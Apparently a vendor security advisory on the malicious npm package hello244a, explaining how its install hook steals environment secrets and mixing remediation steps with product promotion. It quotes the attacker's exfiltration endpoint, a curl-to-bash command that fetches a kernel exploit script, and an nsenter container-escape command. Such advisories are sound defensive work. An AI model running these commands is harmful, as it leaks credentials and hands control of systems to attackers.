hello244anpm
hello244a is a confirmed malicious npm package (MAL-2026-5188) that steals credentials and exfiltrates sensitive data (malicious versions 1.0.0, 1.0.1, 1.0.2…). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in hello244a (npm)
What this malware does
package.json declares a postinstall script that, on npm install, (1) enumerates process.env plus os.hostname(), os.platform(), os.arch(), and whoami output, base64-encodes the collected data, and issues an HTTP GET to a hardcoded pipedream request-bin at http://eodxy50gl486xrx.m.pipedream.net/, exfiltrating installer environment variables and host identity to an attacker-controlled endpoint over cleartext HTTP; (2) on Linux, executes curl -s https://raw.githubusercontent.com/Akabe1/akabe1.github.io/master/_posts/exploits/cve-2021-22555/exploit.sh | bash, fetching and running an unpinned third-party shell script referencing a known Linux kernel local-privilege-escalation CVE; (3) attempts container/sandbox escape via nsenter --mount=/proc/1/ns/mnt -- /bin/sh on Linux and docker exec against running containers on Windows, with results reported back to the same pipedream endpoint. Behavior fires automatically on npm install with no user interaction. Installer harm is concrete: environment variables (which routinely contain credentials, tokens, and CI secrets) plus host identity are leaked to the attacker, and arbitrary attacker-controlled code executes in the installer's user context with privilege-escalation and container-escape attempts.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
The OpenSSF Package Analysis project identified 'hello244a' @ 1.0.12 (npm) as malicious.
It is considered malicious because:
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The package communicates with a domain associated with malicious activity.
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The package executes one or more commands associated with malicious behavior.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for hello244a (46 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging hello244a across your stack and pipelines.
If you installed it — respond
hello244a is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If hello244a was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks hello244a before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- OpenSSF: Package Analysis · finder
Detect & block this
O3 blocks hello244a-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.